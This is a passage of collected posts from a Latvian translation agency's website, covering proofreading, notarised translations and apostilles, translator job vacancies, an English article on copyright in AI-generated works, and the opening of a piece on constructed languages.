"ordenis", bet iestāžu nosaukumos tikai pirmo burtu; visas garumzīmes būtu tur, kur tam jābūt; nebūtu pazuduši blakus rakstāmie līdzskaņi ne vārdā "ikkatrs", ne "tikko"; un "jebkur" būtu uzrakstīts kopā, bet "kaut kur" atsevišķi. Tāpat drukātos tekstos svarīga arī pareiza pārnešana jaunā rindā, bet sarežģītākos tulkojumos uzmanība jāpievērš svešvārdu atveidei – tādus vārdus kā abonements, absolvents, behemots, eksperiments, intereses, entuziasts u. c. allaž kāds pamanās uzrakstīt savā versijā. Stila kļūdas un stilistika Stilistika ir valodas spēja izteikt papildinformāciju, kas norāda uz komunikācijas vidi un runātāja vai rakstītāja subjektīvo attieksmi pret saturu vai adresātu, no kā arī izriet stila kļūdas, ko latviešu valodas skolotāja burtnīcas malā atzīmēja ar viļņainu svītriņu. Stila kļūdas ir stilistiski un/vai emocionāli ekspresīvu valodas līdzekļu lietojums neiederīgā saziņas situācijā. Valodas etiķete pieprasa, ka ir vārdi un teikuma konstrukcijas, ko mēs droši varam lietot ikdienā sarunvalodā un sarakstē ar draugiem, bet nekad neiekļausim ne oficiālā darba e-pastā, ne juridiskā līgumā. Korektors ir izkopis un attīstījis spēju orientēties valodā un prasmi izvēlēties vārdus konkrētām valodas situācijām, tāpēc zinās, kad par ļaunu nenāks arī kāds sulīgs žargona vārds, bet kad nepieciešama strukturēta, lietišķa valoda. Korektors strādā dzimtajā valodā Korektora vai redaktora ieteikumi lieti noderēs ne tikai pēc tulkošanas, bet arī veidojot mārketinga tekstus, kur ļoti svarīgi gan izvairīties no pareizrakstības kļūdām, gan sagatavot uzrunājošus tekstus. Tulkošanas birojos korektori strādā ar tekstiem dzimtajā valodā, kas nodrošina vairāk nekā gramatiski pareizu tekstu – korektors orientējas valodas kultūrā un tradīcijās, pārzina frazeoloģismus un dažādus izteicienus, kas nav burtiski pārtulkojami. Korektors it kā nogludina tekstu un gādā, lai tulkojums būtu saprotams un skanētu dabiski mērķa valodā, tieši tāpēc arī Skrivanek pēc katra tulkojuma tekstu pārskata korektors, kuram mērķa valoda ir dzimtā valodā. --- > Kas ir notariāli apliecināts tulkojums? Kādiem dokumentiem un kādos gadījumos tas ir nepieciešams? Uzzini šajā rakstā! - Published: 2023-11-13 - Modified: 2025-07-15 - URL: https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/ - Kategorijas: Raksti - Translation Priorities: Optional KĀDOS GADĪJUMOS NEPIECIEŠAMS NOTARIĀLI APLIECINĀTS TULKOJUMS? Ja nepieciešams tulkot dokumentus, noteikti ir vērts meklēt tulkošanas biroju, kas nodrošina arī dokumentu tulkojumu ar notariālu apliecinājumu. Notariāli apstiprināts tulkojums nepieciešams, kad jātulko tādi publiskie dokumenti kā dzimšanas apliecības, laulības apliecības, izglītību apliecinoši diplomi, izziņas par nesodāmību un veselības stāvokli, dažādas valsts izdotas pilnvaras u. c. Šādu tulkojumu process paredz, ka tulkojumu ar savu parakstu apliecina kvalificēts tulkotājs, un pēc tam zvērināts notārs apliecina tulkotāja parakstu. Notāra uzdevums ir pārliecināties par tulkotāja izglītību un kvalifikāciju veikt tulkojumu, savukārt tulkotājs uzņemas atbildību par dokumenta oriģināla tulkojuma pareizību. NOTARIĀLI TULKOJUMI HĀGAS KONVENCIJAS DALĪBVALSTĪS Ja dokuments ir izsniegts ārvalstī, kas ir 1961. gada 5. oktobra Hāgas konvencijas “Par ārvalstu publisko dokumentu legalizācijas prasības atcelšanu” dalībvalsts, dokumentu tulkojumi ar apostilli tiek apliecināti iestādē, kas izdevējvalstī ir kompetenta to darīt. Hāgas konvencija ir būtiski vienkāršojusi notariāli apliecinātu tulkojumu procesu, jo vienreiz ar apostilli apliecinātu dokumentu nav nepieciešams apliecināt atkārtoti vairāk nekā 100 Hāgas konvencijas dalībvalstīs. Latvijas Republikā Hāgas konvencija ir spēkā kopš 1996. gada 30. janvāra. Iepriekš Latvijā izdotus publiskus dokumentus bija nepieciešams notariāli apliecināt ar apostilli Latvijas Republikas Ārlietu ministrijas Konsulārajā departamentā, bet kopš 2019. gada 1. jūlija to dara zvērināti notāri visā Latvijā, turklāt elektroniski izsniegtus dokumentus iespējams apostillēt arī attālināti. Savukārt gadījumos, ja dokuments ir izdots Latvijā, bet to ir paredzēts izmantot citā valstī, kas nav Hāgas konvencijas dalībvalsts, to vispirms ir nepieciešams legalizēt Latvijas Republikas Ārlietu ministrijas Konsulārajā departamentā. Dokumentu legalizācija noris vienkārši un ātri: zvērinātam notāram jānogādā dokumenta oriģināls, līdzi ņemot personu apliecinošu dokumentu, ja Paraksta paraugu datubāzē ir dokumentu izsniegušās amatpersonas paraksta un zīmoga nospieduma paraugs, dokumenta apliecināšanu iespējams nokārtot pat vienas vai dažu dienu laikā. TULKOJUMA NOTARIĀLA APLIECINĀJUMA VEIDI Apliecinājums pie dokumenta oriģināla: pie oriģinālā dokumenta piešuj tulkojumu, ko apliecina kvalificēts tulkotājs, kura parakstu apliecina notārs. Apliecinājums pie kopijas: šajā gadījumā no dokumenta oriģināla noņem fotokopiju, kurai piešuj kvalificēta tulkotāja apliecinātu tulkojumu attiecīgajā valodā; fotokopiju ar tulkojumu notārs apliecina tikai tad, kad tiek uzrādīts dokumenta oriģināls. KĀ SAGATAVOT DOKUMENTA ORIĢINĀLU Ja nepieciešams notariāli apliecināts dokumenta tulkojums, nepieciešams pilnībā noformēts un juridiski spēkā esošs dokuments, kas ietver noteiktu informāciju: dokumenta autoru; izveides datumu; izdošanas un parakstīšanas vietu; parakstu (-us). Plašāku informāciju par dokumentu noformēšanu var atrast 2010. gada 28. septembra Ministru Kabineta noteikumos Nr. 916 “Dokumentu izstrādāšanas un noformēšanas noteikumi”. Var būt situācijas, kad notariāli apliecināts tulkojums jāiesniedz elektroniski ar e-parakstu dokumentiem, kuru oriģināls ir papīra formātā. Tulkošanas birojs tad sagatavo dokumenta tulkojumu papīra formātā, tulkotājs un zvērināts notārs to paraksta, parakstīto tulkojumu sašuj kopā ar dokumenta oriģinālu vai notāra apliecinātu kopiju. Dokumenta tulkojums tiek ieskenēts, lai notārs to vēlreiz apliecinātu ar e-parakstu. Savukārt elektroniski parakstīta dokumenta notariālu apliecinātu tulkojumu var saņemt uzreiz e-vidē. KĀPĒC IZVĒLĒTIES SKRIVANEK? Tulkošanas birojā Skrivanek pieejami notariāli apstiprināti tulkojumi vairāk nekā 110 valodās. Mēs nodrošinām notariāli apliecinātus tulkojumus pie dokumentu oriģināla un kopijām, ievērojot Latvijas Republikas normatīvos aktus, un sagatavojam tulkojumus, kuru pareizību, precizitāti un atbilstību oriģinālam apstiprina zvērināts notārs, bet zvērināts tulkotājs uzņemas pilnu atbildību par tulkojuma kvalitāti. Kvalitāte un garantēta datu drošība Mēs esam starp 100 lielākajiem tulkošanas pakalpojumu sniedzējiem pasaulē. Esam ieviesuši nepieciešamos procesus, lai mūsu pakalpojumi atbilstu mūsu gan klientu, gan normatīvo aktu prasībām. Skrivanek bija pirmais tulkošanas uzņēmums Centrāleiropā un Austrumeiropā, kas pilnībā izpildīja ISO 9001 kvalitātes vadības sistēmas nolikumu. Tāpat Skrivanek nodrošina darba procesu un kontroli un klientu datu konfidencialitāti atbilstoši informācijas drošības pārvaldības standartam ISO/IEC 27001:2022. Profesionāļu komanda Mūsu spēks ir mūsu profesionālā starptautiskā komanda: tulki, tulkotāji, redaktori, korektori un tekstu autori, kas specializējušies dažādās jomās un nozarēs, lai nodrošinātu plašu tulkojumu klāstu dažādās valodu kombinācijās. Mēs strādājam gan ar nelieliem, gan liela mēroga projektiem, tostarp tehniski sarežģītiem tulkojumiem ar nozarei specifisku terminoloģiju. Ātrums un operativitāte Skrivanek datubāzē ir vairāk nekā 3000 kvalificētu tulkotāju, tāpēc varam nodrošināt tulkojumus jebkurā no valodām ātri un kvalitatīvi. Pirms tulkošanas uzsākšanas projektu vadītājs ar klientu vienojas par termiņu. Parasti 500 vārdu gara teksta tulkojuma izpildei nepieciešana viena, 1000 vārdu garam tekstam pusotra darbadiena, bet nepieciešamības gadījumā varam nodrošināt arī steidzamus tulkojumus. Šādā gadījumā par izpildes termiņu un cenu ar jums vienosimies individuāli. Rakstiskās tulkošanas pakalpojuma cenā ir ietverts tulkojums ar korektūru, ko veic korektors, kam mērķa valoda ir dzimtā valoda. Tulkojuma cena ir atkarīga no apjoma, valodu salikuma, teksta specifikas, tāpēc, lai iegūtu precīzāku cenas piedāvājumu, lūdzu, sazinieties ar mums vai nāciet ciemos uz biroju Rīgā, Lāčplēša ielā 87C. NEPIECIEŠAMS NOTARIĀLI APLIECINĀTS TULKOJUMS? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Skrivanek meklē prasmīgus tulkotājus latviešu-poļu un poļu-latviešu tekstu tulkošanai. Uzlabojiet starpkultūru saziņu kopā ar mums. Sazinies! - Published: 2023-11-08 - Modified: 2024-07-11 - URL: https://skrivanek.lv/polu-latviesu-un-latviesu-polu-tulkotajs/ - Kategorijas: Vakance - Translation Priorities: Optional SKRIVANEK BALTIC AICINA KOMANDĀ POĻU-LATVIEŠU-POĻU VALODAS TULKOTĀJUS JA DOMĀ, VAI VARI KĻŪT PAR VIENU NO SKRIVANEK TULKOTĀJIEM, ATBILDE NOTEIKTI IR JĀ! Mēs izskatīsim tavu pieteikumu, ja: tu brīvi pārvaldi poļu valodu (piemēram, esi studējis: Polijā, ieguvis izglītību poļu filoloģijā vai valodniecībā, vai tev ir apliecinājums, ka tavas poļu valodas zināšanas ir vismaz C1 līmenī); proti latviešu valodu; ir vismaz neliela pieredze darbā par poļu valodas tulku vai tulkotāju. Kā arī: strādā ar kādu no CAT rīkiem (ja neproti, nebēdā – iemācīsim); tev patīk apgūt jaunas lietas un tu proti strādāt ar liela apjoma informāciju; SADARBOJOTIES AR SKRIVANEK, VARĒSI strādāt profesionāļu komandā; tu varēsi nepārtraukti mācīties un uzlabot savu profesionālo kvalifikāciju; saņemt atalgojumu atbilstoši padarītajam darbam; strādāt ar daudziem interesantiem un izaicinošiem projektiem. Pievienojies mums jau šodien! Un spodrini savas prasmes, strādājot vienā no lielākajiem valodu pakalpojumu uzņēmumiem ne tikai Latvijā, bet arī pasaulē. Mums ir visi nepieciešamie rīki un pieredze, lai palīdzētu tev tulkot materiālus visdažādākajos formātos – valoda un tehnoloģija ir mūsu ikdiena. Būsim priecīgi sveikt tevi mūsu komandā! Ieinteresēja? Reģistrējieties Skrivanek Piegādātāju portālā tūlīt! PIEZĪME: Lūdzu, neaizmirsti augšupielādēt CV un citus dokumentus, kas apliecina kvalifikāciju un pieredzi (piemēram, diplomus, sertifikātus, ieteikuma vēstules utt. ). Ja nesazināsimies 7 dienu laikā pēc reģistrācijas Skrivanek Piegādātāju portālā brīža, informējam, ka šobrīd mums nav aktuālu sadarbības piedāvājumu. --- > Skrivanek Baltic aicina komandā latviešu valodas korektoru un tekstu autoru. Nepieciešama atbilstoša izglītība un pieredze ar CAT rīkiem. - Published: 2023-11-08 - Modified: 2025-06-17 - URL: https://skrivanek.lv/latviesu-valodas-korektors-un-tekstu-autors/ - Kategorijas: Vakance - Translation Priorities: Optional SKRIVANEK BALTIC AICINA KOMANDĀ LATVIEŠU VALODAS KOREKTORUS UN TEKSTU AUTORUS JA DOMĀ, VAI VARI KĻŪT PAR VIENU NO SKRIVANEK KOREKTORIEM, ATBILDE NOTEIKTI IR JĀ! Mēs izskatīsim tavu pieteikumu, ja: tev ir izglītība latviešu valodas filoloģijā vai valodniecībā; latviešu valoda ir tava dzimtā valoda; ir vismaz neliela pieredze darbā par korektoru vai tekstu autoru. Kā arī: strādā ar kādu no CAT rīkiem (ja neproti, nebēdā – iemācīsim); tev patīk apgūt jaunas lietas un tu proti strādāt ar liela apjoma informāciju. SADARBOJOTIES AR SKRIVANEK, VARĒSI strādāt profesionāļu komandā; tu varēsi nepārtraukti mācīties un uzlabot savu profesionālo kvalifikāciju; saņemt atalgojumu atbilstoši padarītajam darbam; strādāt ar daudziem interesantiem un izaicinošiem projektiem. Pievienojies mums jau šodien! Un spodrini savas prasmes, strādājot vienā no lielākajiem valodu pakalpojumu uzņēmumiem ne tikai Latvijā, bet arī pasaulē. Mums ir visi nepieciešamie rīki un pieredze, lai palīdzētu tev strādāt ar tekstiem visdažādākajos formātos – valoda un tehnoloģija ir mūsu ikdiena. Būsim priecīgi sveikt tevi mūsu komandā! Ieinteresēja? Reģistrējieties Skrivanek Piegādātāju portālā tūlīt! PIEZĪME: Lūdzu, neaizmirsti augšupielādēt CV un citus dokumentus, kas apliecina kvalifikāciju un pieredzi (piemēram, diplomus, sertifikātus, ieteikuma vēstules utt. ). Ja nesazināsimies 7 dienu laikā pēc reģistrācijas Skrivanek Piegādātāju portālā brīža, informējam, ka šobrīd mums nav aktuālu sadarbības piedāvājumu. --- - Published: 2023-11-08 - Modified: 2023-11-09 - URL: https://skrivanek.lv/krievu-valodas-korektors-un-tekstu-autors/ - Kategorijas: Vakance - Translation Priorities: Optional SKRIVANEK BALTIC AICINA KOMANDĀ KRIEVU VALODAS KOREKTORUS UN TEKSTU AUTORUS JA DOMĀ, VAI VARI KĻŪT PAR VIENU NO SKRIVANEK KOREKTORIEM, ATBILDE NOTEIKTI IR JĀ! Mēs izskatīsim tavu pieteikumu, ja: tev ir izglītība krievu valodas filoloģijā vai valodniecībā; krievu valoda ir tava dzimtā valoda; ir vismaz neliela pieredze darbā par korektoru vai tekstu autoru. Kā arī: strādā ar kādu no CAT rīkiem (ja neproti, nebēdā – iemācīsim); tev patīk apgūt jaunas lietas un tu proti strādāt ar liela apjoma informāciju. SADARBOJOTIES AR SKRIVANEK, VARĒSI strādāt profesionāļu komandā; tu varēsi nepārtraukti mācīties un uzlabot savu profesionālo kvalifikāciju; saņemt atalgojumu atbilstoši padarītajam darbam; strādāt ar daudziem interesantiem un izaicinošiem projektiem. Pievienojies mums jau šodien! Un spodrini savas prasmes, strādājot vienā no lielākajiem valodu pakalpojumu uzņēmumiem ne tikai Latvijā, bet arī pasaulē. Mums ir visi nepieciešamie rīki un pieredze, lai palīdzētu tev strādāt ar tekstiem visdažādākajos formātos – valoda un tehnoloģija ir mūsu ikdiena. Būsim priecīgi sveikt tevi mūsu komandā! Ieinteresēja? Reģistrējieties Skrivanek Piegādātāju portālā tūlīt! PIEZĪME: Lūdzu, neaizmirsti augšupielādēt CV un citus dokumentus, kas apliecina kvalifikāciju un pieredzi (piemēram, diplomus, sertifikātus, ieteikuma vēstules utt. ). Ja nesazināsimies 7 dienu laikā pēc reģistrācijas Skrivanek Piegādātāju portālā brīža, informējam, ka šobrīd mums nav aktuālu sadarbības piedāvājumu. --- > Skrivanek meklē latviešu krievu medicīnas tekstu tulkotāju. Pievienojieties mums un dodiet savu ieguldījumu veselības aprūpes jomā. - Published: 2023-11-08 - Modified: 2024-07-11 - URL: https://skrivanek.lv/latviesu-krievu-medicinas-tekstu-tulkotajs/ - Kategorijas: Vakance - Translation Priorities: Optional SKRIVANEK BALTIC AICINA KOMANDĀ LATVIEŠU-KRIEVU MEDICĪNAS TEKSTU TULKOTĀJUS JA DOMĀ, VAI VARI KĻŪT PAR VIENU NO SKRIVANEK TULKOTĀJIEM, ATBILDE NOTEIKTI IR JĀ! Mēs izskatīsim tavu pieteikumu, ja: tu brīvi pārvaldi krievu; proti latviešu valodu; esi ieguvis izglītību medicīnā vai veselības aprūpes specialitātē; ir vismaz neliela pieredze darbā par tulku vai tulkotāju. Kā arī: strādā ar kādu no CAT rīkiem (ja neproti, nebēdā – iemācīsim); tev patīk apgūt jaunas lietas un tu proti strādāt ar liela apjoma informāciju. SADARBOJOTIES AR SKRIVANEK, VARĒSI strādāt profesionāļu komandā; tu varēsi nepārtraukti mācīties un uzlabot savu profesionālo kvalifikāciju; saņemt atalgojumu atbilstoši padarītajam darbam; strādāt ar daudziem interesantiem un izaicinošiem projektiem. Pievienojies mums jau šodien! Un spodrini savas prasmes, strādājot vienā no lielākajiem valodu pakalpojumu uzņēmumiem ne tikai Latvijā, bet arī pasaulē. Mums ir visi nepieciešamie rīki un pieredze, lai palīdzētu tev tulkot materiālus visdažādākajos formātos – valoda un tehnoloģija ir mūsu ikdiena. Būsim priecīgi sveikt tevi mūsu komandā! Ieinteresēja? Reģistrējieties Skrivanek Piegādātāju portālā tūlīt! PIEZĪME: Lūdzu, neaizmirsti augšupielādēt CV un citus dokumentus, kas apliecina kvalifikāciju un pieredzi (piemēram, diplomus, sertifikātus, ieteikuma vēstules utt. ). Ja nesazināsimies 7 dienu laikā pēc reģistrācijas Skrivanek Piegādātāju portālā brīža, informējam, ka šobrīd mums nav aktuālu sadarbības piedāvājumu. --- > Discover the complexities of AI system ownership. Learn who truly owns AI systems and the implications for businesses and individuals. - Published: 2023-10-30 - Modified: 2025-07-08 - URL: https://skrivanek.lv/en/is-it-you-the-ai-system-owner-or-maybe-nobody/ - Kategorijas: Article - Translation Priorities: Optional IS IT YOU, THE AI SYSTEM OWNER, OR MAYBE NOBODY? INTRODUCTION With the rise of AI-generated works in all manners of what we would traditionally refer to as art, there are many new challenges for businesses and professionals who engage with intellectual property on a daily basis. Graphic design, pictures both photorealistic and stylised, text-based works, both factual or in the realm of fiction, and even poems can be generated via specialised or generalist applications available for the public online. While everyone, including us at Skrivanek Baltic, is excited about the prospect of the endless possibilities afforded by this new technology, the law, as usual, is not entirely up to date on this issue. This has serious consequences, especially for businesses or freelancers that would like to use AI-generated content in their professional activity, as well as for regular users who are interested in sharing the content they create. Or generate? Or prompt AI to create or generate? So, what’s the issue? The user gives the AI a prompt of more or less what to generate and the AI generates that “thing”. The user then takes it and does whatever they like with it, right? Well, it’s not that simple. Nothing ever is when the law gets involved. Traditional art – books, paintings, music, but also more contemporary expressions like photographs or computer programs are protected by copyright. The concept of copyright (at least proprietary or material copyright, moral or personal rights are a completely separate topic, which we might delve into in a separate article) entails a certain exclusive “right” to use or dispose of works of art and derive benefits from such use or disposal. This right, barring some specific exceptions, with the relevant ones to be discussed presently, resides with the author of a given work. These rights may however be granted to others by said author in whole or in part – which in legalese, we commonly refer to as licensing, or may also be transferred entirely onto someone, whereby the author “loses” their rights by giving them away to someone (usually for a fee or as part of an employment arrangement). With the above in mind, the problem seems to be deceptively simple. We just have to ascertain who the “author” of an AI-generated piece of art is and we’re done. Case closed. This would tell us with whom the copyright resides at the moment of the work’s creation and allow us to trace any transfers thereof if and as they happen to see if any given instance of using such work is legal or unlawful and if there are any claims to be raised by anyone involved. THE “WORK OF ART” AND COPYRIGHTABILITY This issue however proves to be much more complex in practice. It is generally acceptable in intellectual property regulations and legal doctrine that in order for a given work to be considered copyrightable, it needs to meet a few requirements. It varies slightly from jurisdiction to jurisdiction of course, but the basic principles are similar enough. “The subject matter of copyright is each individual creative work, embodied in any form, regardless of its value, designation, or medium of expression (work). ” – as defined by the Polish Act on Copyright and Related Rights from 4 February 1994 in particular. The most operative words in this definition for our purposes are “individual” and “creative”. Creative in this context basically means more or less the same as “original” or “new”, which wouldn’t in of itself pose that big of a challenge. Individual, however, is slightly more problematic. It is commonly interpreted to mean something intrinsically linked with the individual character of the author. It is traditionally strongly associated with the author’s humanity, their personality and individual characteristics, which cause the work created by that particular person to be different from the works of other authors – even if the themes or broad concepts of both works are the same. Due to this requirement of individuality, it is also commonly accepted that only natural persons can be “authors” and only they can be the original holders of copyrights to any works created by them – with the important caveat however that such rights can be transferred “immediately” onto a third party (such as an employer, when an employee creates something during and in connection with their employment). This is how legal persons such as corporations commonly come to hold copyrights to their IPs in the first place. To round up the definition, there is one more important piece of information that needs to be taken into consideration – namely, what is not considered to be copyrightable. Again, to cite Polish legislation “Protection shall only apply to the medium of expression; protection shall not extend to discoveries, ideas, procedures, methods and principles of operation or mathematical concepts. ” A similar version of the same rule can be found in other jurisdictions as well (e. g. , Section 102(b) of the Copyright Act in the US). THE DIFFERENT POSSIBILITIES Having discussed the theory, let’s see what it all means in practice and in the context of AI-generated works. The matter is not settled yet, in the sense that there aren’t regulations that would specifically address the legal status of those creations and the copyright thereto. There are however some strong opinions on how it “should work” based on the laws that are currently on the books. First – the most user-friendly interpretation. Whereby the AI application should be treated as any other tool one would use to create a work of art. The AI is to basically be considered as no more than a painter’s brush or a writer’s pen in this context. The user, who prompts the AI to generate something, would then hold the copyright to the work created thereby as the provider of the idea or concept, which lays at the foundation of the work. This approach is of course extremely beneficial for the users. If someone used an application such as Midjourney, Smashinglogo, or ChatGPT to generate content, they could then fully “own” the rights to it, monetise it and raise claims against any other person using it without their permission. Tech companies who produce these applications, or owners of websites making them available, would be limited in their business model options here, especially considering the fact that some jurisdictions (Polish included, but it’s a far less universal rule than what was discussed previously) limit the forms in which a total transfer or exclusive licence to use copyrights can be granted – in Poland for example, written form (with handwritten signatures or certified electronic signature) is required. Any Terms and Conditions that stipulate otherwise would be invalid if entered into only based on a simple confirmation checkbox on the website. There is a significant issue though. As already alluded to, the prompt given by the user of the application for all intents and purposes is just a general idea or concept. Or, in other words – it is something expressly excluded from copyrightability in most jurisdictions. Seeing how nothing else of the user’s individual character is part of the final creation, as the “form of expression” is performed entirely by AI, it is very difficult to subscribe to this interpretation once the rules governing copyrightability are understood. The prompt itself may be copyrightable, if it is individual and creative and thereby owned by the user. But the AI-generated end product? It seems like there are more serious arguments to be had against this than for it. Secondly – the ownership or work-for-hire theory. This approach has two main facets, which in the end come to the same practical conclusion. The main idea behind this theory is that, in one way or another, the copyright to a piece of content generated by an AI application would lie with the owner or creator (as the case may be) of the application. The distinction would be important for legal theory (whether the rights are created on the side of the current owner or on the side of the developer) but less so in practice. In practice, employees of tech companies or freelancers “write the code” required for the AI application to function and under their employment transfer the right to that code or other elements of the app to their principal either explicitly based on the contractual provisions or within the confines of the work-for-hire doctrine, depending on the jurisdiction. In practical terms, the rights to any content generated by AI, if the rights thereto were to be created on the side of the actual developers (code writers) – as something of an extension of their creative work on the application itself, they would also be transferred further onto their employer on the same grounds. Whether transferred as above or not, such copyrights would not lie with the user of the application and therefore, without some kind of binding agreement between the custodian of these rights and the user who gave the prompt – the user would not be allowed to use the works outside of specific cases, where fair use could be demonstrated in accordance with IP laws in the jurisdiction relevant to the case. The capability to share and monetise or otherwise make use of works so created in a professional or business capacity would be severely limited for example. On the other hand, the opportunities for providers of such AI solutions to introduce and enforce limitations on their use or various paywalls would be practically endless. As with the first interpretation though, there is a big problem. It comes back to the “individuality” issue signalled before. It is difficult to argue that the creations of AI carry the individual mark of the algorithm’s creator within them. First, the application’s creator has no input in the creation of any given piece of content. There is no conscious effort on their side and no actual involvement in the creation. The developer doesn’t even have a full idea or understanding of what kinds of works in particular will be created by the AI they are working on at the time. The generation of content is based on the collection, compression and analysis of information and/or parts of other previously published works by the AI and whatever it can learn from this process. There is precious little in the way of an individual or personal mark left on these works by the creator of the algorithm, so placing copyrights with them is highly questionable. Thirdly – the public domain theory. This interpretation actually has three separate angles or arguments supporting it. To begin with, there is the argument that the process of generating these works is heavily based on collecting and blending other works and data published earlier that are both already part of the public domain (this is also part of the process of how we created Skrivanek NMT years ago by using bilingual and monolingual data sets available for public use) or attributable to other authors (which are mostly neither willing, nor in most cases aware of this process), as a sort of derivative work of these. Since tracking down the exact sources where the data or parts of the generated work come from would not be practically possible, there is something to be said for just not attributing copyrights to anyone. As a derivation of a mixture of public domain works and fragments of works copyrighted by countless other authors, AI-generated content would sidestep the issue entirely and just enter the public domain immediately upon creation, and no copyrights would be associated with it. Another argument for this theory is based on a contrario reasoning for the previous two. If the user that prompts the application only provides an idea or concept, which in itself is not copyrightable, and the AI algorithm is sufficiently autonomous to where the individuality of its developer transpiring in the application’s creations is not substantial enough to pin them as the author... Then the uncomfortable truth would be that copyright protection is just not adequate for AI-generated content. The AI does the “creating” – because creation obviously takes place, whereas none of the actual people involved in the process could be ascribed with authorship and be eligible for copyright protection. The AI on the other hand cannot be the author or holder of copyrights in its own name – because it has no legal capacity, nor is it human in the sense required by the IP doctrines’ interpretation of the individuality necessary for something to be considered a copyrightable piece of art in the first place. If the previous arguments were not enough, then there is another. The processes of machine learning, which lie at the base of AI content generation, lead to quite a substantial similarity and repeatability of the works which come out of any given version of the AI application. This in turn raises doubts as to whether such works have the required creativity to be considered copyrightable, as discussed at the beginning. Of course, this debate is no different from discussions between lawyers concerning the copyrightability of less fanciful works such as technical documentation or functional designs, which leave very little creative freedom for the designer and have already been taking place for decades. It is however a compelling point to be taken into account when considering the issue of copyrights to AI-generated works and their potential holder. This interpretation has one significant upside in that it neatly “deals” with the legal conundrum of who should be entitled to these works and to any fruits associated therewith, even if the answer it provides is an anticlimactic nobody. It isn’t perfect, however. One big problem it logically invites is that once we assert that the AI (an entity with no legal capacity and neither theoretical nor practical means to bear responsibility) is the creator of the generated works – who takes responsibility for any unlawful content therein and what recourse would there be for any parties injured thereby? Such questions are only adjacent to the matter at hand but will require answers – probably at very short notice. EXAMPLES FROM THE MARKET The fact that regulations are not yet in place does not prevent businesses in the tech world from providing AI-based solutions and services online. There are quite a few, and what is interesting in the context of this article is how they see the ownership of creations generated with the tools they provide. I would strongly encourage everyone, who uses such AI generators, to study the terms and conditions of their providers. It’s advisable to do so with any online service provider, but in this case, it could also be interesting. The two examples I’d like to bring attention to are the popular ChatGPT and Midjourney applications. The terms and conditions of the first one stipulate that the Input (user prompts) and all associated rights shall be owned by the user (no surprises here) and the Output (what the AI generates) along with the rights, title and interest in it is assigned to the user automatically – along with any and all responsibility for that content. The outcome in practice follows the first discussed interpretation in all but name, as there is that safety net of an assignment taking place in the wording of the document. On the other hand, Midjourney’s terms and conditions make it very clear that the service provider is the beneficial owner of all the Assets created by its users and, depending on the type of membership purchased by the user, a different set of rights is awarded to them – free users only gain a limited licence for non-commercial use of the content, regular paid members are described as owners of the Assets (presumably an assignment takes place, even though that wording isn’t used, but it logically follows from the fact that this right is withheld for other types of members), and individuals acting on behalf of large enough companies need to purchase an extended “Pro” membership to be granted rights to created Assets. FINAL COMMENTS If someone were to ask me personally to come up with regulations on the issue at hand, I would probably submit to the last presented theory – AI-generated content wouldn’t be copyrightable at all. The arguments presented above speak to my legal sensibilities. It could be seen as reductive, but it is very practical and solves the issue of copyright protection for the soon-to-be insanely large amounts of automatically generated homogenous content, where the “creativity” and “individuality” of such are both questionable. The problem of moral or personal copyrights, which are unalienable in most jurisdictions is also solved in this approach (they are not created). This interpretation also doesn’t preclude businesses from conducting their day-to-day work with the use of AI applications. Providing a certain service for a fee is still possible, regardless of whether the product of these services is copyrightable or not. And what are your thoughts on who owns the copyrights to AI-generated content? Translating the world of business has been our focus for over 30 years. Respectfully yours, Vasilijs@Skrivanek Baltic *None of this information is of course to be taken as legal advice. Legal advice requires an in-depth study of the factual merits of any given case or issue. If you have questions regarding a particular case, please as always – consult your lawyer. Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > Mākslīgi veidotas valodas ir populāras? Ieskaties mūsu blogā, lai uzzinātu vairāk par mākslīgi veidotām valodām un kas tās ir! - Published: 2023-10-24 - Modified: 2024-09-23 - URL: https://skrivanek.lv/vai-maksligi-veidotas-valodas-vel-ir-mode/ - Kategorijas: Raksti - Translation Priorities: Optional VAI MĀKSLĪGI VEIDOTAS VALODAS VĒL IR MODĒ? Pasaulē ir vairāk nekā 6000 dabīgo valodu un Londonā vien var dzirdēt ap 300 pasaules valodu, taču cilvēkam ar to vēl nav gana, un ir reizes, kad tulkošanas birojiem kopā ar valodniekiem nākas strādāt pie pavisam jaunu un unikālu mākslīgu valodu veidošanas. Neticami – vai ne? Visiem zināmākā un plašāk izmantotā mākslīgi veidotā valoda mūsdienās ir esperanto. Tā ir interesenta ar to, ka tajā ir tikai 16 gramatikas likumu un nav nekādu izņēmumu, kas ievērojami atvieglo tās apgūšanu. Taču, kādēļ mūsdienās vajadzētu turpināt radīt jaunas mākslīgās valodas, ja mums jau viena ir? Vai esat aizdomājušies par videospēlēs, mākslas filmās un fantastikas žanra romānos lietotajām valodām, kur un kā tās rodas? Līdzīgi, kā mēs bērnībā mīlējām pagalmā rotaļāties un runāt pupiņvalodā un izdomāt slepenus kodus saziņai ar draugiem, mūsdienās tiek strādāts pie mūsu iemīļoto spēļu un kinofilmu varoņu valodām, kas ir ļoti ilgs un sarežģīts process. MAKSLĪGI IZVEIDOTO VALODU PIRMSĀKUMI Vienkāršāk sakot, mākslīgi veidotās valodas ir pilnībā cilvēka radītas. Parasti tās tiek veidotas pēc kādas dabiskās valodas parauga, piemēram, esperanto pamatā ir Eiropas lielāko valodu leksika un gramatikas normas. Reizēm mākslīgi veidotās valodas var būt tikai īpašu simbolu sistēma. Visbiežāk šādas mākslīgi veidotās valodas tiek izmantotas spēlēs, kurās mēs savā iztēlē uzburam izdomātas 